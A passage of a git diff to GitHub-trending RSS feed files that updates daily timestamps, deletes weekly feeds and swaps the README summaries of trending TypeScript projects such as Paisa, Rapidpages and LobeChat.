df71437645b..00000000000 --- a/textile/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Textile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:54Z - Weekly Trending of Textile in GitHub - - \ No newline at end of file diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml index 5b6a9c49774..dff074c65e3 100644 --- a/textmate-properties/daily/index.xml +++ b/textmate-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub TextMate Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:20Z + 2023-09-25T01:42:24Z Daily Trending of TextMate Properties in GitHub \ No newline at end of file diff --git a/textmate-properties/weekly/index.xml b/textmate-properties/weekly/index.xml deleted file mode 100644 index 3676c68be82..00000000000 --- a/textmate-properties/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TextMate Properties Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:52Z - Weekly Trending of TextMate Properties in GitHub - - \ No newline at end of file diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml index 49883012eee..2365ac6c7fd 100644 --- a/thrift/daily/index.xml +++ b/thrift/daily/index.xml @@ -1,7 +1,7 @@ GitHub Thrift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:23Z + 2023-09-25T01:42:23Z Daily Trending of Thrift in GitHub \ No newline at end of file diff --git a/thrift/weekly/index.xml b/thrift/weekly/index.xml deleted file mode 100644 index c2c63cb84c0..00000000000 --- a/thrift/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Thrift Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:53Z - Weekly Trending of Thrift in GitHub - - \ No newline at end of file diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml index 81dc8d9f249..89abbece400 100644 --- a/ti-program/daily/index.xml +++ b/ti-program/daily/index.xml @@ -1,7 +1,7 @@ GitHub TI Program Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:25Z + 2023-09-25T01:42:27Z Daily Trending of TI Program in GitHub \ No newline at end of file diff --git a/ti-program/weekly/index.xml b/ti-program/weekly/index.xml deleted file mode 100644 index 866ccd45b16..00000000000 --- a/ti-program/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TI Program Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:57Z - Weekly Trending of TI Program in GitHub - - \ No newline at end of file diff --git a/tla/daily/index.xml b/tla/daily/index.xml index 2f78a9b662b..49d8ff7cf81 100644 --- a/tla/daily/index.xml +++ b/tla/daily/index.xml @@ -1,7 +1,14 @@ GitHub TLA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:27Z + 2023-09-25T01:42:30Z Daily Trending of TLA in GitHub + + pingcap/tla-plus + 2023-09-25T01:42:30Z + tag:github.com,2023-09-25:/pingcap/tla-plus + + <p></p><hr> + \ No newline at end of file diff --git a/tla/weekly/index.xml b/tla/weekly/index.xml deleted file mode 100644 index 7dff193b0ea..00000000000 --- a/tla/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TLA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:58Z - Weekly Trending of TLA in GitHub - - \ No newline at end of file diff --git a/toml/daily/index.xml b/toml/daily/index.xml index 5ff92f4748f..9d1d4af7a34 100644 --- a/toml/daily/index.xml +++ b/toml/daily/index.xml @@ -1,7 +1,7 @@ GitHub TOML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:26Z + 2023-09-25T01:42:28Z Daily Trending of TOML in GitHub \ No newline at end of file diff --git a/toml/weekly/index.xml b/toml/weekly/index.xml deleted file mode 100644 index 99c28fcdd1d..00000000000 --- a/toml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TOML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:58Z - Weekly Trending of TOML in GitHub - - \ No newline at end of file diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml index d795f225ed8..046307ef55f 100644 --- a/tsql/daily/index.xml +++ b/tsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:31Z + 2023-09-25T01:42:33Z Daily Trending of TSQL in GitHub \ No newline at end of file diff --git a/tsql/weekly/index.xml b/tsql/weekly/index.xml deleted file mode 100644 index 62c8cddd307..00000000000 --- a/tsql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:01Z - Weekly Trending of TSQL in GitHub - - \ No newline at end of file diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml index 68d58742510..822dc262ace 100644 --- a/tsv/daily/index.xml +++ b/tsv/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:30Z + 2023-09-25T01:42:31Z Daily Trending of TSV in GitHub \ No newline at end of file diff --git a/tsv/weekly/index.xml b/tsv/weekly/index.xml deleted file mode 100644 index fc92bc2fc7b..00000000000 --- a/tsv/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSV Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:59Z - Weekly Trending of TSV in GitHub - - \ No newline at end of file diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml index c0014359fd9..9a9cf2778f0 100644 --- a/tsx/daily/index.xml +++ b/tsx/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:32Z + 2023-09-25T01:42:34Z Daily Trending of TSX in GitHub \ No newline at end of file diff --git a/tsx/weekly/index.xml b/tsx/weekly/index.xml deleted file mode 100644 index d151fd314b0..00000000000 --- a/tsx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:02Z - Weekly Trending of TSX in GitHub - - \ No newline at end of file diff --git a/turing/daily/index.xml b/turing/daily/index.xml index 802cb4b3fcc..95e2a7d4da4 100644 --- a/turing/daily/index.xml +++ b/turing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:29Z + 2023-09-25T01:42:32Z Daily Trending of Turing in GitHub \ No newline at end of file diff --git a/turing/weekly/index.xml b/turing/weekly/index.xml deleted file mode 100644 index 9a386e0fb11..00000000000 --- a/turing/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Turing Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:02Z - Weekly Trending of Turing in GitHub - - \ No newline at end of file diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml index 6d84daedb29..d97b3491b66 100644 --- a/turtle/daily/index.xml +++ b/turtle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turtle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:36Z + 2023-09-25T01:42:36Z Daily Trending of Turtle in GitHub \ No newline at end of file diff --git a/turtle/weekly/index.xml b/turtle/weekly/index.xml deleted file mode 100644 index f3d0bef89e1..00000000000 --- a/turtle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Turtle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:04Z - Weekly Trending of Turtle in GitHub - - \ No newline at end of file diff --git a/twig/daily/index.xml b/twig/daily/index.xml index ab9bd9b1b79..9d96b32b12f 100644 --- a/twig/daily/index.xml +++ b/twig/daily/index.xml @@ -1,7 +1,7 @@ GitHub Twig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:34Z + 2023-09-25T01:42:37Z Daily Trending of Twig in GitHub \ No newline at end of file diff --git a/twig/weekly/index.xml b/twig/weekly/index.xml deleted file mode 100644 index 28fd8e1a731..00000000000 --- a/twig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Twig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:04Z - Weekly Trending of Twig in GitHub - - \ No newline at end of file diff --git a/txl/daily/index.xml b/txl/daily/index.xml index 563060e911c..c561601cb5c 100644 --- a/txl/daily/index.xml +++ b/txl/daily/index.xml @@ -1,7 +1,7 @@ GitHub TXL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:35Z + 2023-09-25T01:42:38Z Daily Trending of TXL in GitHub \ No newline at end of file diff --git a/txl/weekly/index.xml b/txl/weekly/index.xml deleted file mode 100644 index d84af998e61..00000000000 --- a/txl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TXL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:06Z - Weekly Trending of TXL in GitHub - - \ No newline at end of file diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml index 79d27127abf..32c6a620f28 100644 --- a/type-language/daily/index.xml +++ b/type-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Type Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:33Z + 2023-09-25T01:42:35Z Daily Trending of Type Language in GitHub \ No newline at end of file diff --git a/type-language/weekly/index.xml b/type-language/weekly/index.xml deleted file mode 100644 index 655f7735cb1..00000000000 --- a/type-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Type Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:05Z - Weekly Trending of Type Language in GitHub - - \ No newline at end of file diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml index 2aff4437b05..6b80de1e9c8 100644 --- a/typescript/daily/index.xml +++ b/typescript/daily/index.xml @@ -1,28 +1,28 @@ GitHub TypeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:43Z + 2023-09-25T01:42:44Z Daily Trending of TypeScript in GitHub - croissanteth/chatgpt-token - 2023-09-24T01:43:43Z - tag:github.com,2023-09-24:/croissanteth/chatgpt-token - - <p>Fully automated token deployment on ETH, with the help of autonomous code and ChatGPT</p><hr><h3>Prerequisites</h3> <p>-Node.js</p> <p>-Hardhat development environment</p> <p>-OpenAI API key</p> <h3>Setup</h3> <p>Clone the repository.</p> <p>run <code>npm install</code></p> <p>Create empty "contracts" folder, and .env file containing OPENAI_API_KEY, GOERLI_PRIVATE_KEY, and GOERLI_URL (RPC) values</p> <h3>Modifying GPT Interactions</h3> <p>To modify the interactions with GPT, refer to the deploygpt4.ts script inside the scripts directory:</p> <p>API Key: Ensure your OpenAI API key is set in the .env file. The key is retrieved in the script at Line 11. API Calls: The OpenAI API is called at Line 17 and Line 96. Modify the request body or headers as required to customize the GPT response. DALL·E Interactions: If you wish to modify interactions with OpenAI's DALL·E model, refer to Line 277.</p> <h3>Running locally</h3> <p><code>npx hardhat run scripts/deploygpt4.ts</code></p> <h3>Deploy to blockchain</h3> <p><code>npx hardhat run scripts/deploygpt4.ts --network GOERLI</code></p> + ananthakumaran/paisa + 2023-09-25T01:42:44Z + tag:github.com,2023-09-25:/ananthakumaran/paisa + + <p>Paisa – Personal Finance Manager. demo: https://demo.paisa.fyi</p><hr><h1>Paisa</h1> <p><a href="https://matrix.to/#/#paisa:matrix.org"><img src="https://img.shields.io/matrix/paisa%3Amatrix.org?logo=matrix" alt="Matrix"></a></p> <p><strong>Paisa</strong> is a Personal finance manager. It builds on top of the <a href="https://www.ledger-cli.org/">ledger</a> double entry accounting tool. Checkout <a href="https://paisa.fyi">documentation</a> to get started.</p> <h1>Demo</h1> <p>A demo of the Web UI can be found at <a href="https://demo.paisa.fyi">https://demo.paisa.fyi</a></p> <h2>Status</h2> <p>I use it to track my personal finance. It's more like alpha product now, usable, but I might update things based on the feedback I receive. Feel free to open an issue if you found a bug or start a discussion if you have a feature request. If you have any question, you can ask on <a href="https://matrix.to/#/#paisa:matrix.org">Matrix chat</a>.</p> <h2>License</h2> <p>This software is licensed under <a href="https://raw.githubusercontent.com/ananthakumaran/paisa/master/COPYING">the AGPL 3 or later license</a>.</p> <h2>Contribution Policy</h2> <p>Paisa is open source, but I do not plan to accept any pull request for now. If you have a feature request, start a <a href="https://github.com/ananthakumaran/paisa/discussions">discussion</a>, or if you found a bug, create a new <a href="https://github.com/ananthakumaran/paisa/issues">issue</a>. Since this a UI project, I would prefer to have full control over how things are done. I might relax this restriction later.</p> - atomicals/atomicals-js - 2023-09-24T01:43:43Z - tag:github.com,2023-09-24:/atomicals/atomicals-js - - <p>Atomicals CLI and Javascript Library</p><hr><h1>Atomicals Javascript Library</h1> <blockquote> <p>atomicals.xyz Documentation: <a href="https://docs.atomicals.xyz">https://docs.atomicals.xyz</a></p> </blockquote> <p><img src="https://raw.githubusercontent.com/atomicals/atomicals-js/master/banner.png" alt="Atomicals"></p> <h3>Install, Build and Run Tests</h3> <h2>Install</h2> <pre><code>Download the github repo and then run: npm install npm build See all commands at: npm run cli --help </code></pre> <h3>Quick Start - Command Line (CLI)</h3> <p>First install packages and build, then follow the steps here to create your first Atomical and query the status. Use <code>yarn cli</code>to get a list of all commands available.</p> <h4>0. Environment File (.env)</h4> <p>The environment file comes with defaults (<code>.env.example</code>), but it is highly recommend to install and operate your own ElectrumX server. Web browser communication is possible through the <code>wss</code> (secure websockets) interface of ElectrumX.</p> <pre><code>ELECTRUMX_WSS=wss://electrumx.atomicals.xyz:50012 </code></pre> <p><em>ELECTRUMX_WSS</em>: URL of the ElectrumX with Atomicals support. Note that only <code>wss</code> endpoints are accessible from web browsers.</p> <h4>1. Wallet Setup</h4> <p>The purpose of the wallet is to create p2tr (pay-to-taproot) spend scripts and to receive change from the transactions made for the various operations. <em>Do not put more funds than you can afford to lose, as this is still beta!</em></p> <p>To initialize a new <code>wallet.json</code> file that will store your address for receiving change use the <code>wallet-init</code> command. Alternatively, you may populate the <code>wallet.json</code> manually, ensuring that the address at <code>m/44'/0'/0'/0/0</code> is equal to the address and the derivePath is set correctly.</p> <pre><code>yarn cli wallet-init &gt;&gt;&gt; Wallet created at wallet.json phrase: maple maple maple maple maple maple maple maple maple maple maple maple Legacy address (for change): 1FXL2CJ9nAC...u3e9Evdsa2pKrPhkag Derive Path: m/44'/0'/0'/0/0 WIF: L5Sa65gNR6QsBjqK.....r6o4YzcqNRnJ1p4a6GPxqQQ ------------------------------------------------------ </code></pre> <h4>2. Explore the CLI</h4> <pre><code>yarn cli --help </code></pre> <h4>3. Quick Commands</h4> <p>Get all of the commands available:</p> <pre><code>npm run cli --help </code></pre> <p>Read the documentation at <a href="https://docs.atomicals.xyz">https://docs.atomicals.xyz</a></p> <h2>ElectrumX Server RPC Interface</h2> <p>See updated ElectrumX (<a href="https://github.com/atomicals/electrumx-atomicals">https://github.com/atomicals/electrumx-atomicals</a>)</p> <h2>Any questions or ideas?</h2> <p><a href="https://atomicals.xyz">https://atomicals.xyz</a></p> <p><a href="https://x.com/atomicalsxyz">https://x.com/atomicalsxyz</a> (X - Formerly Twitter)</p> + rapidpages/rapidpages + 2023-09-25T01:42:44Z + tag:github.com,2023-09-25:/rapidpages/rapidpages + + <p>Generate React and Tailwind components using AI</p><hr><p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/rapidpages/vault/c458b4e2070fdf3e32c5796eaa9488f95f2ac40f/logo-long-dark.png"> <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/rapidpages/vault/c458b4e2070fdf3e32c5796eaa9488f95f2ac40f/logo-long-light.png"> <img alt="Rapidpages" src="https://raw.githubusercontent.com/rapidpages/vault/c458b4e2070fdf3e32c5796eaa9488f95f2ac40f/logo-long-dark.png"> </picture> </p> <p align="center"> <a href="https://www.rapidpages.io?ref=github-readme" target="_blank">Website</a> • <a href="https://discord.gg/W6jYq46Frd" target="_blank">Discord</a> </p> <h1>Rapidpages</h1> <p>Rapidpages is a prompt-first IDE for building great-looking pages. You simply describe the UI you desire and it will generate the code for that component using the technologies that are familiar to you (currently only React+Tailwind are supported).</p> <p><a href="https://github.com/rapidpages/rapidpages/assets/1308560/a7505448-bc0d-4035-9cff-39e8df5ecac9">https://github.com/rapidpages/rapidpages/assets/1308560/a7505448-bc0d-4035-9cff-39e8df5ecac9</a></p> <h2>Get Started</h2> <h3>Run Rapidpages locally</h3> <pre><code class="language-bash">git clone https://github.com/rapidpages/rapidpages.git &amp;&amp; cd rapidpages </code></pre> <p>Edit the <code>.env.example</code> file to ensure the following values are set:</p> <ul> <li>OPENAI_API_KEY: you need to get a key from <a href="https://platform.openai.com/">OpenAI</a></li> <li>GITHUB_CLIENT_SECRET &amp; GITHUB_CLIENT_ID: you need to create a GitHub oauth application to be able to login. Follow <a href="https://docs.github.com/en/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app">this guide</a> from GitHub.</li> </ul> <p>Create the database &amp; run the application</p> <pre><code class="language-bash">npm run db:push npm run dev </code></pre> <h3>Run Rapidpages Cloud</h3> <p>You can start using <a href="https://www.rapidpages.io">Rapidpages</a> today on the cloud for free. If you run out of credits, feel free to ping us on <a href="https://discord.gg/W6jYq46Frd">discord</a>.</p> <h2>Known Limitations</h2> <p>Currently, the components are generated in one shot. In the future, this task will be broken down into multiple steps such as dependency retrieval and icon generation. This multi-step process will allow the creation of more complicated ui elements.</p> <h2>License</h2> <p>See the <a href="https://raw.githubusercontent.com/rapidpages/rapidpages/main/LICENSE">LICENSE</a> file for more information.</p> - ccrsxx/twitter-clone - 2023-09-24T01:43:43Z - tag:github.com,2023-09-24:/ccrsxx/twitter-clone - - <p>Twitter clone built in Next.js + TypeScript + Tailwind CSS using Cloud Firestore and Storage</p><hr><br> <p><img src="https://raw.githubusercontent.com/ccrsxx/twitter-clone/main/.github/assets/presentation.png" alt=""></p> <p align="center"> Twitter clone built in Next.js + TypeScript + Tailwind CSS using Cloud Firestore and Storage </p> <h2>Preview 🎬</h2> <p><a href="https://user-images.githubusercontent.com/55032197/201472767-9db0177a-79b5-4913-8666-1744102b0ad7.mp4">https://user-images.githubusercontent.com/55032197/201472767-9db0177a-79b5-4913-8666-1744102b0ad7.mp4</a></p> <h2>Features ✨</h2> <ul> <li>Authentication with Firebase Authentication</li> <li>Strongly typed React components with TypeScript</li> <li>Users can add tweets, like, retweet, and reply</li> <li>Users can delete tweets, add a tweet to bookmarks, and pin their tweet</li> <li>Users can add images and GIFs to tweet</li> <li>Users can follow and unfollow other users</li> <li>Users can see their and other followers and the following list</li> <li>Users can see all users and the trending list</li> <li>Realtime update likes, retweets, and user profile</li> <li>Realtime trending data from Twitter API</li> <li>User can edit their profile</li> <li>Responsive design for mobile, tablet, and desktop</li> <li>Users can customize the site color scheme and color background</li> <li>All images uploads are stored on Firebase Cloud Storage</li> </ul> <h2>Tech 🛠</h2> <ul> <li><a href="https://nextjs.org">Next.js</a></li> <li><a href="https://www.typescriptlang.org">TypeScript</a></li> <li><a href="https://tailwindcss.com">Tailwind CSS</a></li> <li><a href="https://firebase.google.com">Firebase</a></li> <li><a href="https://swr.vercel.app">SWR</a></li> <li><a href="https://headlessui.com">Headless UI</a></li> <li><a href="https://react-hot-toast.com">React Hot Toast</a></li> <li><a href="https://framer.com">Framer Motion</a></li> </ul> <h2>Development 💻</h2> <p>Here are the steps to run the project locally.</p> <ol> <li> <p>Clone the repository</p> <pre><code class="language-bash">git clone https://github.com/ccrsxx/twitter-clone.git </code></pre> </li> <li> <p>Install dependencies</p> <pre><code class="language-bash">npm i </code></pre> </li> <li> <p>Create a Firebase project and select the web app</p> </li> <li> <p>Add your Firebase config to <code>.env.development</code>. Note that <code>NEXT_PUBLIC_MEASUREMENT_ID</code> is optional</p> </li> <li> <p>Make sure you have enabled the following Firebase services:</p> <ul> <li>Authentication. Enable the Google sign-in method.</li> <li>Cloud Firestore. Create a database and set its location to your nearest region.</li> <li>Cloud Storage. Create a storage bucket.</li> </ul> </li> <li> <p>Install Firebase CLI globally</p> <pre><code class="language-bash">npm i -g firebase-tools </code></pre> </li> <li> <p>Log in to Firebase</p> <pre><code class="language-bash">firebase login </code></pre> </li> <li> <p>Get your project ID</p> <pre><code class="language-bash">firebase projects:list </code></pre> </li> <li> <p>Select your project ID</p> <pre><code class="language-bash">firebase use your-project-id </code></pre> </li> <li> <p>At this point, you have two choices. Either run this project using the Firebase on the cloud or locally using emulator.</p> <ol> <li> <p>Using the Firebase Cloud Backend:</p> <ol> <li> <p>Deploy Firestore rules, Firestore indexes, and Cloud Storage rules</p> <pre><code class="language-bash">firebase deploy --except functions </code></pre> </li> <li> <p>Run the project</p> <pre><code class="language-bash">npm run dev </code></pre> </li> </ol> </li> <li> <p>Using Firebase Local Emulator:</p> <ol> <li> <p>Install <a href="https://jdk.java.net/">Java JDK version 11 or higher</a> before proceeding. This is required to run the emulators.</p> </li> <li> <p>Set the environment variable <code>NEXT_PUBLIC_USE_EMULATOR</code> to <code>true</code> in <code>.env.development</code>. This will make the app use the emulators instead of the cloud backend.</p> </li> <li> <p>At this point, you can run the following command to have a fully functional Twitter clone running locally:</p> <pre><code class="language-bash">npm run dev:emulators </code></pre> </li> </ol> </li> </ol> </li> </ol> <blockquote> <p><strong><em>Note</em></strong>: When you deploy Firestore indexes rules, it might take a few minutes to complete. So before the indexes are enabled, you will get an error when you fetch the data from Firestore.<br><br>You can check the status of your Firestore indexes with the link below, replace <code>your-project-id</code> with your project ID: <a href="https://console.firebase.google.com/u/0/project/your-project-id/firestore/indexes">https://console.firebase.google.com/u/0/project/your-project-id/firestore/indexes</a></p> </blockquote> <p>Optional:</p> <ul> <li>If you want to get trending data from Twitter API, you need to create a Twitter developer account and get your API keys. Then add your API keys to <code>.env.development</code>. I hope Elon Musk doesn't make this API paid 😅.</li> <li>If you want to make the user stats synced with the deleted tweets, you need to enable the Cloud Functions for Firebase. Then deploy the Cloud Functions.</li> </ul> + lobehub/lobe-chat + 2023-09-25T01:42:44Z + tag:github.com,2023-09-25:/lobehub/lobe-chat + + <p>🤖 Lobe Chat - an open-source, extensible (Function Calling), high-performance chatbot framework. It supports one-click free deployment of your private ChatGPT/LLM web application.</p><hr><p><a name="readme-top"></a></p> <div align="center"> <img height="120" src="https://registry.npmmirror.com/@lobehub/assets-logo/1.0.0/files/assets/logo-3d.webp"> <img height="120" src="https://gw.alipayobjects.com/zos/kitchen/qJ3l3EPsdW/split.svg?sanitize=true"> <img height="120" src="https://registry.npmmirror.com/@lobehub/assets-emoji-anim/1.0.0/files/assets/robot.webp"> <h1>Lobe Chat</h1> <p>LobeChat is a open-source, extensible (<a href="https://sspai.com/post/81986">Function Calling</a>), high-performance chatbot framework. <br> It supports one-click free deployment of your private ChatGPT/LLM web application.</p> <p><strong>English</strong> · <a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/README.zh-CN.md">简体中文</a> · <a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/CHANGELOG.md">Changelog</a> · <a href="https://github.com/lobehub/lobe-chat/wiki">Wiki</a> · <a href="https://github.com/lobehub/lobe-chat/issues">Report Bug</a> · <a href="https://github.com/lobehub/lobe-chat/issues">Request Feature</a></p> <!-- SHIELD GROUP --> <p><a href="https://github.com/lobehub/lobe-chat/releases"><img src="https://img.shields.io/github/v/release/lobehub/lobe-chat?color=369eff&amp;labelColor=black&amp;logo=github&amp;style=flat-square" alt=""></a> <a href="https://chat-preview.lobehub.com"><img src="https://img.shields.io/website?down_message=offline&amp;label=vercel&amp;labelColor=black&amp;logo=vercel&amp;style=flat-square&amp;up_message=online&amp;url=https%3A%2F%2Fchat-preview.lobehub.com" alt=""></a> <a href="https://discord.gg/AYFPHvv2jT"><img src="https://img.shields.io/discord/1127171173982154893?color=5865F2&amp;label=discord&amp;labelColor=black&amp;logo=discord&amp;logoColor=white&amp;style=flat-square" alt=""></a> <a href="https://github.com/lobehub/lobe-chat/releases"><img src="https://img.shields.io/github/release-date/lobehub/lobe-chat?labelColor=black&amp;style=flat-square" alt=""></a> <a href="https://github.com/actions/workflows/lobehub/lobe-chat/test.yml"><img src="https://img.shields.io/github/actions/workflow/status/lobehub/lobe-chat/test.yml?label=test&amp;labelColor=black&amp;logo=githubactions&amp;logoColor=white&amp;style=flat-square" alt=""></a> <a href="https://github.com/actions/workflows/lobehub/lobe-chat/release.yml"><img src="https://img.shields.io/github/actions/workflow/status/lobehub/lobe-chat/release.yml?labelColor=black&amp;logo=githubactions&amp;logoColor=white&amp;style=flat-square" alt=""></a><br> <a href="https://github.com/lobehub/lobe-chat/graphs/contributors"><img src="https://img.shields.io/github/contributors/lobehub/lobe-chat?color=c4f042&amp;labelColor=black&amp;style=flat-square" alt=""></a> <a href="https://github.com/lobehub/lobe-chat/network/members"><img src="https://img.shields.io/github/forks/lobehub/lobe-chat?color=8ae8ff&amp;labelColor=black&amp;style=flat-square" alt=""></a> <a href="https://github.com/lobehub/lobe-chat/network/stargazers"><img src="https://img.shields.io/github/stars/lobehub/lobe-chat?color=ffcb47&amp;labelColor=black&amp;style=flat-square" alt=""></a> <a href="https://github.com/lobehub/lobe-chat/issues"><img src="https://img.shields.io/github/issues/lobehub/lobe-chat?color=ff80eb&amp;labelColor=black&amp;style=flat-square" alt=""></a> <a href="https://github.com/lobehub/lobe-chat/raw/main/LICENSE"><img src="https://img.shields.io/github/license/lobehub/lobe-chat?color=white&amp;labelColor=black&amp;style=flat-square" alt=""></a></p> <p><a href="https://vercel.com/new/clone?repository-link=https%3A%2F%2Fgithub.com%2Flobehub%2Flobe-chat&amp;env=OPENAI_API_KEY&amp;envDescription=Find%20your%20OpenAI%20API%20Key%20by%20click%20the%20right%20Learn%20More%20button.%20%20&amp;envLink=https%3A%2F%2Fplatform.openai.com%2Faccount%2Fapi-keys&amp;project-name=lobe-chat&amp;repository-name=lobe-chat"><img src="https://vercel.com/button" alt="Deploy with Vercel"></a></p> <p><img src="https://gw.alipayobjects.com/zos/kitchen/RKnWrrfuMl/welcome.webp" alt=""></p> </div> <details> <summary><kbd>Table of contents</kbd></summary> <h4>TOC</h4> <ul> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-getting-started--join-our-community">👋🏻 Getting Started &amp; Join Our Community</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-features">✨ Features</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-snapshot">📸 Snapshot</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-self-hosting">🛳 Self Hosting</a> <ul> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#keep-updated">Keep Updated</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-ecosystem">📦 Ecosystem</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-plugins">🧩 Plugins</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#%EF%B8%8F-local-development">⌨️ Local Development</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-contributing">🤝 Contributing</a></li> <li><a href="https://raw.githubusercontent.com/lobehub/lobe-chat/main/#-more-products">🔗 More Products</a></li> </ul> <h4></h4> <br> </details> <h2>👋🏻 Getting Started &amp; Join Our Community</h2> <p>Please be aware that LobeChat is currently under active development,feedback is welcome for any <a href="https://img.shields.io/github/issues/lobehub/lobe-chat.svg?style=flat">issues</a> encountered.</p> <table> <thead> <tr> <th align="left"><a href="https://chat-preview.lobehub.com"><img src="https://img.shields.io/website?down_message=offline&amp;label=try%20lobechat&amp;labelColor=black&amp;logo=vercel&amp;style=for-the-badge&amp;up_message=online&amp;url=https%3A%2F%2Fchat-preview.lobehub.com" alt=""></a></th> <th align="left">No installation or registration necessary! Visit our website to experience it firsthand.</th> </tr> </thead> <tbody> <tr> <td align="left"><a href="https://discord.gg/AYFPHvv2jT"><img src="https://img.shields.io/discord/1127171173982154893?color=5865F2&amp;label=discord&amp;labelColor=black&amp;logo=discord&amp;logoColor=white&amp;style=for-the-badge" alt=""></a></td> <td align="left">Join our Discord community! This is where you can connect with developers and other enthusiastic users of LobeHub.</td> </tr> </tbody> </table> <blockquote> <p><strong>Important</strong><br> <strong>Star Us</strong>,You will receive all releases notifications from GitHub without any delay ~ ⭐️</p> </blockquote> <p><img src="https://gw.alipayobjects.com/zos/kitchen/0hcO8QiU9c/star.webp" alt=""></p> <details> <summary><kbd>Star History</kbd></summary> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=lobehub%2Flobe-chat&amp;theme=dark&amp;type=Date"> <img src="https://api.star-history.com/svg?repos=lobehub%2Flobe-chat&amp;type=Date"> </picture> </details> <h2>✨ Features</h2> <ul> <li><input type="checkbox" checked disabled> 💨 <strong>Quick Deployment</strong>: Using the Vercel platform, you can deploy with just one click and complete the process within 1 minute, without any complex configuration;</li> <li><input type="checkbox" checked disabled> 💎 <strong>Exquisite UI Design</strong>: With a carefully designed interface, it offers an elegant appearance and smooth interaction. It supports light and dark themes and is mobile-friendly. PWA support provides a more native-like experience;</li> <li><input type="checkbox" checked disabled> 🗣️ <strong>Smooth Conversation Experience</strong>: Fluid responses ensure a smooth conversation experience. It fully supports Markdown rendering, including code highlighting, 